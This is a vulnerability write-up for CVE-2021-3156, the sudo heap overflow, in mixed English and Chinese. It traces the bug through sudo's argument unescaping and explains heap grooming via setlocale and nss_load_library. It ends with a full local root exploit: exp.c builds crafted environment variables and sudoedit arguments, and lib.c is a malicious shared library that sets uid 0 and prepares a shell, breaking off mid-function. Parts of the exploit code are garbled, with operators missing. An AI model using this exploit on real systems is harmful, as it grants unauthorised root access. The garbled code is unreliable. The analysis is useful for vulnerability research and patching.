
CVE-2021-3156 POC and Docker and Analysis write up
[toc]
Vulnerability ID: CVE-2021-3156
Vulnerability Score:
Affected Product: Linux sudo
Affected Versions: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1
Exploitation Conditions: Linux local; sudo is suid and executable
Impact: Local privilege escalation
Source Code: https://www.sudo.ws/getting/source/
Docker Environment: chenaotian/cve-2021-3156
The Docker I set up provides:
Everything is in the /root directory:
image-20220124223312224
Testing the exploit:``` cd exp su test ./exp whoami
For debugging related content, see later [some debugging commands](#一些调试命令)
## Vulnerability Principle
Vulnerability trigger payload```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`
Source code analysis (sudo-1.8.21): First is the main function in sudo.c (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)
··· ···
··· ···
/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
··· ···
··· ···
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
ok = policy_check(&policy_plugin, nargc, nargv, env_add,
&command_info, &argv_out, &user_env_out);
··· ···
··· ···
}
··· ···
··· ···
}
- First, the `parse_args` function is called to process the input parameters. In fact, we only input `-s` here, nothing much to set, setting `sudo_mode` to `MODE_EDIT` and `MODE_SHELL`.
- Then, depending on the `sudo_mode`, `MODE_EDIT` will call `policy_check`.
Next is the `policy_check` function in `sudo.c` (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
char *env_add[], char **command_info[], char **argv_out[],
char **user_env_out[])
{
··· ···
··· ···
ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
argv_out, user_env_out);
···
}
调用了回调函数 plugin->u.policy->check_policy ,可以调试查看这个函数的真实函数:
image-20220123113326096
调用的是policy.c 中的 sudoers_policy_check 函数(policy.c: 760):```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;
ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···
}
Then called the sudoers_policy_main function in sudoers.c (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
void *closure)
{
··· ···
··· ···
/*
* Make a local copy of argc/argv, with special handling
* for pseudo-commands and the '-i' option.
*/
if (argc == 0) {
··· ···
} else {
/* Must leave an extra slot before NewArgv for bash's --login */
NewArgc = argc;
NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
··· ···
}
memcpy(++NewArgv, argv, argc * sizeof(char *));
NewArgv[NewArgc] = NULL;
··· ···
}
}
··· ···
cmnd_status = set_cmnd();
··· ···
··· ···
··· ···
}
Some global variables are set here, NewArgc and NewArgv as shown below; they are essentially the passed parameters.
image-20220123113819116
Then it enters the set_cmnd function in sudoers.c (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
//根据参数总长度计算size, 后续malloc 申请,没有问题
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
//将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
//但这里\x00 并不算空格类型字符
//他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}
··· ···
}
}
··· ···
··· ···
}
The overflow also occurs here. According to the comments in the code, the heap overflow occurs when copying to the heap. The original intention of this code is not difficult to understand: it copies all the arguments in NewArgv to the heap, separated by spaces. When encountering `\` followed by a non-space character, it only copies that character.
**But it does not consider a situation where a NewArgv element ends with `\`, resulting in a `\` + `\x00` structure. Since `\x00` is not a space character (absurd), this means that after copying `\x00` to the heap, the `from` variable is incremented again (incremented twice in one loop), directly bypassing the opportunity to check the while loop's end marker `\x00`, so it assumes the argument has not been fully copied and continues copying until encountering the next `\x00`.**
In this scenario, you can see that `\` + `\x00` is immediately followed by the next argument `A*80`, so it will continue copying to the end of `A*80`. But don't forget that the program will then process the `A*80` argument normally and copy it again. So here `A*80` is copied twice in total, but the chunk was allocated based on the size of only one `A*80` string, far exceeding the allocated chunk length.
image-20220123113907744
Then an overflow occurs. Before copying:
image-20220123114036691
After copying:
image-20220123114137794
The overall vulnerability trigger path (you can set breakpoints directly on these functions when debugging) is:
- sudo.c : main
- sudo.c : policy_check
- policy.c : sudoerrs_policy_check
- sudoers.c : sudoers_policy_main
- sudoers.c : set_cmnd
- sudoers.c : 859
## Vulnerability Exploitation Principle
Referenced [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156) , **but his heap layout method is not always achievable. Here we analyze the heap layout method in detail.** By passing environment variables `LC_*` to lay out the heap, then making the overflowing chunk exactly overwrite the `service_user` structure needed by `nss_load_library` to load a shared object. Overwrite the shared object name string in this structure, then make the program load the specified shared object to achieve arbitrary code execution.
Although the logic seems clear, the details to handle are still troublesome:
1. Related data structures and mechanisms in nss_load_library
2. How setlocale uses the environment variable `LC_*` for heap layout
Next, we will refer to the chunk where the overflow occurs as the vuln chunk, and the overflow target as the target chunk.
### nss Principle
First, look at the key code for exploitation:
glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
··· ···
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
··· ···
··· ···
}
}
ni is the service_user structure on the heap. When ni->library->lib_handle is NULL, __libc_dlopen is called to load the shared object. If we can overflow into the heap chunk where ni resides, then we only need to overwrite library with 0, because in the first branch, if library is NULL, it means not initialized, and nss_new_service will be called to initialize the library, and the newly initialized handle will necessarily be NULL.
OK, after understanding the key trigger point of the vulnerability exploitation, let's learn about the mechanism of nss.
First, there is a file /etc/nsswitch.conf in the /etc/ directory (usually it looks like this, but it is not the same on all devices):```
glibc-doc-reference' and info' packages installed, try:passwd: compat systemd group: compat systemd shadow: compat gshadow: files
hosts: files dns networks: files
protocols: db files services: db files ethers: db files rpc: db files
netgroup: nis
This is a configuration file that uses the paths and order recorded here (essentially which so to use) to look up methods. It can also specify what action the system should take when a method succeeds or fails.
My understanding is that it defines where the program should retrieve required information, such as user information, network, address information, etc. In the program, this is reflected by calling the function from a different so. The implementation of that function in different so files is the method for retrieving that information.
Next, let's look at three structures:```c
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
typedef struct name_database_entry
{
/* And the link to the next entry. */
struct name_database_entry *next;
/* List of service to be used. */
service_user *service;
/* Name of the database. */
char name[0];
} name_database_entry;
typedef struct name_database
{
/* List of all known databases. */
name_database_entry *entry;
/* List of libraries with service implementation. */
service_library *library;
} name_database;
There is a global entry static name_database *service_table; Then, in the __nss_database_lookup function, if the global entry service_table is NULL, it will call nss_parse_file for initialization, the relevant code is as follows:
glibc/nss/nsswitch.c : 117```c int __nss_database_lookup (const char *database, const char *alternate_name, const char *defconfig, service_user *ni) { ··· ··· / Are we initialized yet? / if (service_table == NULL) / Read config file. */ service_table = nss_parse_file (_PATH_NSSWITCH_CONF); ··· ··· }
glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
FILE *fp;
name_database *result;
name_database_entry *last;
··· ···
//打开/etc/nsswitch.conf
fp = fopen (fname, "rce");
··· ···
result = (name_database *) malloc (sizeof (name_database));
··· ···
do
{
name_database_entry *this;
ssize_t n;
n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
··· ···
this = nss_getline (line);
if (this != NULL)
{
if (last != NULL)
last->next = this;
else
result->entry = this;
last = this;
}
}
while (!feof_unlocked (fp));
/* Free the buffer. */
free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
/* Close configuration file. */
fclose (fp);
return result;
}
The principle is that when the global entry service_table is found to be empty during the first search, initialization is performed based on the contents recorded in the /etc/nsswitch.conf file. The final data structure is as follows:
image-20220123134155631
Here, all data structures are allocated in a single function call in one go, following the order shown in my diagram. Therefore, under normal conditions, these chunks are contiguous. Moreover, their allocation occurs before the vuln chunk. (Debug breakpoint at nss_parse_file)
Additionally, it is worth noting that there is a __getline function in nss_parse_file. This function allocates a chunk based on the length of the content read, and this chunk is freed when nss_parse_file returns. Since the longest line in /etc/nsswitch.conf is typically a comment, and we cannot control that file, it can be assumed that the chunk allocated in each call to __getline is of the same size, fixed at 0x80 bytes.
Therefore, we can understand it this way: This is a very precious chunk that is allocated before the service linked list, freed immediately after the service linked list structure is allocated, and remains in the free state until the vuln chunk is allocated. Keep this small detail in mind for now (I have tested many environments, and most can make use of this detail).
So when is the nss_load_library function triggered? You can check the call stack during debugging:
image-20220123114256387
Based on the call stack, when some functions that look up host or user information need to be called, certain search functions are invoked to find the corresponding function in the corresponding so file. In other words, it operates on the service_table data structure generated from /etc/nsswitch.conf. The code is as follows:
glibc/nss/XXX-lookup.c :```c int DB_LOOKUP_FCT (service_user **ni, const char *fct_name, const char *fct2_name, void **fctp) {//先搜索对应的服务 if (DATABASE_NAME_SYMBOL == NULL && __nss_database_lookup (DATABASE_NAME_STRING, ALTERNATE_NAME_STRING, DEFAULT_CONFIG, &DATABASE_NAME_SYMBOL) < 0) return -1;
*ni = DATABASE_NAME_SYMBOL; //再搜索对应so return __nss_lookup (ni, fct_name, fct2_name, fctp); } libc_hidden_def (DB_LOOKUP_FCT)
First call `__nss_database_lookup` to find the corresponding service based on the passed `DATABASE_NAME_STRING` (content is passwd, group, shadow, etc.): that is, search the red area in the image below to find a match, and return the service pointer. If it is the first search, the entries are all empty, then it will be initialized (as mentioned above).
image-20220123133933696
Next, call `__nss_lookup` to loop call `__nss_lookup_function` to search for the function's corresponding service based on the service linked list, then call `nss_load_library` to obtain the so handle, then search for the corresponding function. The code is as follows:
glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
void **fctp)
{
*fctp = __nss_lookup_function (*ni, fct_name);
··· ···
while (*fctp == NULL
&& nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
&& (*ni)->next != NULL)
{
*ni = (*ni)->next;
*fctp = __nss_lookup_function (*ni, fct_name);
··· ···
}
return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)
glibc/nss/nsswitch.c : 410```c void * __nss_lookup_function (service_user *ni, const char *fct_name) { ··· ···
found = __tsearch (&fct_name, &ni->known, &known_compare); ··· ···//没有搜到的一些操作省略
else { known_function *known = malloc (sizeof known); ··· ··· else { //调用nss_load_library, 检查ni->library->lib_handle 是否为空,为空则重新dlopen //具体nss_load_library 代码见上面 ··· ··· if (nss_load_library (ni) != 0) / This only happens when out of memory. */ goto remove_from_tree;
if (ni->library->lib_handle == (void *) -1l)
/* Library not found => function not found. */
result = NULL;
else
{
··· ···
/* Construct the function name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
ni->name),
"_"),
fct_name);
/* Look up the symbol. */
result = __libc_dlsym (ni->library->lib_handle, name);
}
··· ···
··· ···
}
···
return result; } libc_hidden_def (__nss_lookup_function)
可以看出,只要调用了 libnss_xxx.so 之中的函数,就必会调用到 `nss_load_library` ,即便该so 已经装载过了。所以,根据已知exp 的思路,**只需要知道堆溢出发生之后,第一个被调用的libnss相关的函数属于哪个so,然后通过堆布局将该so 所属的`service_user` 结构体布局到 vuln chunk 后面即可。但根据我再多个环境中的测试发现,即便是相同版本,自己编译的和发行版,代码的结构都不太一样**,这里使用我自己的调试环境重新分析编写一份exp。
### 回到调试环境
我自己搭建的这个调试环境(docker)就是自己编译的sudo,有调试符号,具体信息如下:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21
/etc/nsswitch.conf 内容如下:
image-20220115142452318
Still, it is quite different from the usual ones, so directly running someone else's exp will definitely not work. Moreover, after debugging, in my environment, after the heap overflow, the first nss function called is setspent, a function in shadow, that is, the service_user of database_entrry3, meaning the target chunk is chunk #7. We hope that the vuln chunk appears before chunk #7, and that no other numbered chunks are between them (i.e., the overflow does not corrupt the other chunks of the service_table struct).
image-20220123134335546
Next, we inevitably have to study how to perform a one-shot privilege escalation heap layout. It is known that using the environment variable LC_ALL, the heap layout is completed in the setlocale function. After analysis, setlocale has a lot of heap allocation and free operations, so here we focus on the parts we can manipulate.
I accidentally found a colleague's analysis blog on the company's internal blog, which was very helpful. Since it's not accessible from outside, I won't post it.
The key point of setlocale's heap mechanism is just one sentence: input environment variables of the corresponding length in the order of the chunks you want to free. This ensures the release order and adjacency relationships, but these chunks are not tightly contiguous.
First look at the setlocale source code:
glibc/locale/setlocale.c : 218```c char * setlocale (int category, const char *locale) { char *locale_path; size_t locale_path_len; const char *locpath_var; char *composite;
··· ···
locale_path = NULL; locale_path_len = 0;
··· ···
if (category == LC_ALL)
{
··· ···
··· ···
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{//关键处理函数 _nl_find_locale
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);
if (newdata[category] == NULL)
{//返回null 则会跳出循环
···
break;
}
··· ···
/* Make a copy of locale name. */
if (newnames[category] != _nl_C_name)
{
if (strcmp (newnames[category],
_nl_global_locale.__names[category]) == 0)
newnames[category] = _nl_global_locale.__names[category];
else
{
//这个strdup 很关键
newnames[category] = __strdup (newnames[category]);
if (newnames[category] == NULL)
break;
}
}
}
/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
··· ···
}
else
for (++category; category < __LC_LAST; ++category)//校验
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
//这个free 很关键,这里是一处循环free,可以集中free 一堆chunk
free ((char *) newnames[category]);
/* Critical section left. */
__libc_rwlock_unlock (__libc_setlocale_lock);
/* Free the resources. */
free (locale_path);
free (locale_copy);
return composite;
}
··· ···
··· ···
} libc_hidden_def (setlocale)
`setlocale` function deals with various locale-related complications. The relevant environment variable parameters are as follows:```c
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
#define __LC_MESSAGES 5
#define __LC_ALL 6
#define __LC_PAPER 7
#define __LC_NAME 8
#define __LC_ADDRESS 9
#define __LC_TELEPHONE 10
#define __LC_MEASUREMENT 11
#define __LC_IDENTIFICATION 12
Based on the value of the passed parameter category, it looks for the corresponding parameter in environment variables and takes action. In sudo, setlocale(LC_ALL,""); is used. When the passed parameter is LC_ALL, it traverses all variables starting from LC_IDENTIFICATION. For each call to the _nl_find_locale function, which is quite complex, the returned newnames[category] is actually the value of the corresponding environment variable. It then calls the strdup function to copy that string to the heap. Because LC_ALL is passed, a corresponding string array is generated, which is then validated against the default values of global variables. If the validation fails, it is freed (it is easy to construct input that causes failure).
In other words, we can operate here by performing x strdup heap allocations and x frees of the just-allocated chunks. This seems simple, but in reality it is not, because there are many heap allocation and free operations in the previous _nl_find_locale function. The chunks allocated by strdup here are basically chunks freed within the _nl_find_locale function. While further analysis is not as critical for heap exploitation, it is still necessary to analyze _nl_find_locale if you want to precisely lay out the heap or if a new environment is more restrictive:
glibc/locale/findlocale.c : 101```c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char *name) { int mask; / Name of the locale for this category. */ const char *cloc_name = *name; const char *language; const char *modifier; const char *territory; const char *codeset; const char *normalized_codeset; struct loaded_l10nfile *locale_file;
if (cloc_name[0] == '\0') { /* The user decides which locale to use by setting environment variables. */ cloc_name = getenv ("LC_ALL"); if (!name_present (cloc_name)) cloc_name = getenv (_nl_category_names.str + _nl_category_name_idxs[category]); if (!name_present (cloc_name)) cloc_name = getenv ("LANG"); if (!name_present (cloc_name)) cloc_name = _nl_C_name; } ··· ··· ··· ···
/* language[territory[.codeset]][@modifier] 根据环境变量的值来进行mask 设置,关键字为'','.','@' 设置4个标志位(mask) _ 代表国家,会设置一个标志位 . 代表语言编码之类的,有大小写两种写法(如UTF-8和utf8),设置两个标志位 @ 代表用户添加的后缀,也就是自定义内容,设置一个标志位 */
mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); if (mask == -1) /* Memory allocate problem. */ return NULL;
/* If exactly this locale was already asked for we have an entry with the complete name. */ //这次is_allocate 位为0会直接返回0 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0);
if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. / //_nl_make_l10nflist 之中会进行非常多的堆操作 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) / This means we are out of core. */ return NULL; }
··· ···
if (locale_file->data == NULL) { int cnt; for (cnt = 0; locale_file->successor[cnt] != NULL; ++cnt) {//从返回的链表之中找到success 成功的结构体返回 if (locale_file->successor[cnt]->decided == 0) _nl_load_locale (locale_file->successor[cnt], category); if (locale_file->successor[cnt]->data != NULL) break; } /* Move the entry we found (or NULL) to the first place of successors. */ locale_file->successor[0] = locale_file->successor[cnt]; locale_file = locale_file->successor[cnt];
if (locale_file == NULL)
return NULL;
}
··· ··· ··· ···
return (struct __locale_data *) locale_file->data; }
In the `_nl_find_locale` function, it first calls the `_nl_explode_name` function to assign values to the mask based on the environment variable (as I mentioned in the code comments). It mainly checks whether there are country, language, and user-defined suffix items. If there are, it sets the corresponding mask. Among them, the language sets two, for a total of four. Then calling the `_nl_make_l0nflist` function will directly cause `_nl_find_locale` to return empty, triggering the loop break in the `setlocale` above (very important).
Next, let's look at the `_nl_make_l0nflist` function:
glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
const char *dirlist, size_t dirlist_len,
int mask, const char *language, const char *territory,
const char *codeset, const char *normalized_codeset,
const char *modifier,
const char *filename, int do_allocate)
{
char *abs_filename;
struct loaded_l10nfile *last = NULL;
struct loaded_l10nfile *retval;
char *cp;
size_t entries;
int cnt;
/* Allocate room for the full file name. */
//根据mask 的值会组成不同的文件路径,长度自然不同,根据长度申请chunk
abs_filename = (char *) malloc (dirlist_len
+ strlen (language)
+ ((mask & XPG_TERRITORY) != 0
? strlen (territory) + 1 : 0)
+ ((mask & XPG_CODESET) != 0
? strlen (codeset) + 1 : 0)
+ ((mask & XPG_NORM_CODESET) != 0
? strlen (normalized_codeset) + 1 : 0)
+ ((mask & XPG_MODIFIER) != 0
? strlen (modifier) + 1 : 0)
+ 1 + strlen (filename) + 1);
if (abs_filename == NULL)
return NULL;
retval = NULL;
last = NULL;
/* Construct file name. */
//根据文件名,也就是mask决定的内容进行拼接文件名
memcpy (abs_filename, dirlist, dirlist_len);
__argz_stringify (abs_filename, dirlist_len, ':');
cp = abs_filename + (dirlist_len - 1);
*cp++ = '/';
cp = stpcpy (cp, language);
if ((mask & XPG_TERRITORY) != 0)
{
*cp++ = '_';
cp = stpcpy (cp, territory);
}
if ((mask & XPG_CODESET) != 0)
{
*cp++ = '.';
cp = stpcpy (cp, codeset);
}
if ((mask & XPG_NORM_CODESET) != 0)
{
*cp++ = '.';
cp = stpcpy (cp, normalized_codeset);
}
if ((mask & XPG_MODIFIER) != 0)
{
*cp++ = '@';
cp = stpcpy (cp, modifier);
}
*cp++ = '/';
stpcpy (cp, filename);
··· ···
//如果已经已经存在同名文件,则释放刚申请的chunk
if (retval != NULL || do_allocate == 0)
{
free (abs_filename);
return retval;
}
retval = (struct loaded_l10nfile *)
malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
* (1 << pop (mask))
* sizeof (struct loaded_l10nfile *)));
if (retval == NULL)
{
free (abs_filename);
return NULL;
}
retval->filename = abs_filename;
/* If more than one directory is in the list this is a pseudo-entry
which just references others. We do not try to load data for it,
ever. */
retval->decided = (__argz_count (dirlist, dirlist_len) != 1
|| ((mask & XPG_CODESET) != 0
&& (mask & XPG_NORM_CODESET) != 0));
retval->data = NULL;
if (last == NULL)
{
retval->next = *l10nfile_list;
*l10nfile_list = retval;
}
else
{
retval->next = last->next;
last->next = retval;
}
entries = 0;
/* If the DIRLIST is a real list the RETVAL entry corresponds not to
a real file. So we have to use the DIRLIST separation mechanism
of the inner loop. */
//这里会进行递归的搜索,根据mask 来讲所有的组合全部找到
//每次mask 值会-1,这样遍历所有mask可能
cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
for (; cnt >= 0; --cnt)
if ((cnt & ~mask) == 0)
{
/* Iterate over all elements of the DIRLIST. */
char *dir = NULL;
while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
!= NULL)
retval->successor[entries++]
= _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
language, territory, codeset,
normalized_codeset, modifier, filename, 1);
}
retval->successor[entries] = NULL;
return retval;
}
The two key input parameters are do_allocate and mask. do_allocate indicates whether new memory will be actively allocated. If it is 0, the search is performed directly on the existing linked list; since the existing list is usually empty, it returns directly. If do_allocate is not 0, the linked list will be extended.
During a single call to the _nl_make_l10nflist function, 1-2 chunks will be allocated, each of variable size. The first chunk is allocated based on the length of the filename composed from mask. If that filename is not duplicated, a second chunk is allocated, which is a variable-length structure for managing filenames. Its specific purpose is not significant and is beyond our control, so it is ignored here.
mask has a total of four bits. These four flag bits determine the filename for this operation. The four flag bits indicate whether the content inside the square brackets exists:```
dir+language+[_territory]+[.codeset]+[.normalized_codeset]+[@modifier]+filename
Among them, dir(/usr/lib/locale), language(C), and filename(environment variable name) are fixed, and the content in the square brackets is optionally generated according to the mask value. For example:```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA
So:``` [_territory]=NULL #我们没有传入_打头的字符串 [.codeset]=.UTF-8 #语言编码我们传入的是.UTF-8 [.normalized_codeset]=.utf8 # 根据我们传入的大写语言编码自动生成 [@modifier]=@AAAAAAAAAAA #我们自定义的后缀
Depending on different mask, it may generate:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION
Since our input originally does not contain country information, i.e., the [_territory] field is already empty, then regardless of whether the mask is 1, this field will not exist. This causes different masks to end up forming the same filename, which explains why there is an operation above that releases and returns when encountering the same filename.
This concludes the analysis of the overall heap allocation principle. Based on the actual situation, one can understand and arrange accordingly. In my debugging environment, the key point to know is: Based on the value of the input environment variable, a strdup operation is performed, and finally multiple chunks generated by strdup are freed all at once. This operation is the key. If encountering a more complex environment, it may be necessary to use operations that control the size and number of freed heap chunks according to the mask.
Back to my debugging environment:
image-20220123134419470
I want to place the vuln chunk before the target chunk, which is chunk 7, without corrupting any of chunks 1,2,3,4,5,6
So the heap layout approach is:
Since chunks 1,2,4,6 are all 0x20-sized chunks, there are many allocation operations for 0x20 chunks during program execution, and the 0x20 tcache will be consumed quickly. That is, by the time the nss_parse_file function runs, there is essentially no 0x20 tcache left, so further allocations can only be carved from the top chunk or small/large/unsorted bins. Therefore, we don't need to pay attention to them.
We focus on how to insert a specially sized 0xX0 chunk between chunks 3,5 and chunk 7 (which will not be consumed before the vuln chunk is allocated). Roughly as shown:
image-20220123134611280
Since all chunks involved in the entire heap layout process are memory allocated by setlocale, and these things in setlocale are basically useless, even overwriting them will not cause a crash. Therefore, it does not matter if our vuln chunk and target chunk are not tightly adjacent.
So ultimately our approach is, in setlocale, to allocate two 0x40-sized chunks, then allocate a 0xa0-sized chunk (i.e., the aforementioned 0xX0 chunk), then allocate another 0x40-sized chunk. These will be freed in reverse order. Then in the nss_parse_file function, they will be allocated in the same order. Moreover, in the nss_parse_file function, getline will allocate a 0x80 chunk to "protect" our reserved 0xa0 chunk.
Next is to calculate the distance between the removed chunk and the overflow chunk:
image-20220123114452223
0x5576b5ac7000-0x5576b5ac69b0=0x650
The input parameter of total 0xa0 can be divided into two parts: x \\ (each is a separate string, occupying 2 bytes) and 'a' * y (y characters 'a' as a string, occupying y+1 bytes). 2x + y = 0xa0 - 0x10 (here 0xa0-0x10 is because our vuln chunk is 0xa0 in size, but the actual allocation requires 0x10 less). The final command looks like:```
sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"
Compute x, y such that:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650
2x+y = 0xa0-0x10
The principle of the first equation is that, because the input has multiple \\, each copy will overflow, and each overflow will be 1 byte less than the previous one, so an arithmetic series is added. After simplification, we obtain:```
(x+y)+(x+2y+1)·x/2=0x650
2x+y = 0x90
My solution:```
x=11
y=121
Finally, the length that can be overflowed via the sudoedit parameter is 0x5f9. The remaining part can be filled with \\ from the environment variable. The environment variable is copied only once. When overwriting the structure at the end, note that the so_name string is at offset 0x30 in the structure, and all structure elements before the string must be overwritten with \x00. (I won't go into detail on this part; constructing a suitable overflow length payload doesn't have much technical difficulty. Here I mainly provide a universal fast calculation method.)
Then compile the forged so library. The function compiled using the attribute macro here will be automatically executed when the binary is loaded, i.e., a constructor. The exp is as follows:
In my debugging environment, the exp is as follows:```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>
#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }
void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }
int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2size-3; signed int c=2size-2-offset2; signed int tmp=bb-4ac; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp1.0); signed int A=(0-b+tmp)/(2a); signed int B=(0-b-tmp)/(2a); if(A<0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x2; int len=x+y+(x+y+y+1)*x/2;
while ((signed int)(offset-len)<2)
{
x--;
y=size-1-x*2;
len=x+y+(x+y+1)*x/2;
if(x<0)
return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
Astring[i]='A';
Astring[i]='\x00';
argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;
}
int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();
execve("/usr/local/bin/sudoedit",argv,envp);
}
lib.c as follows:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
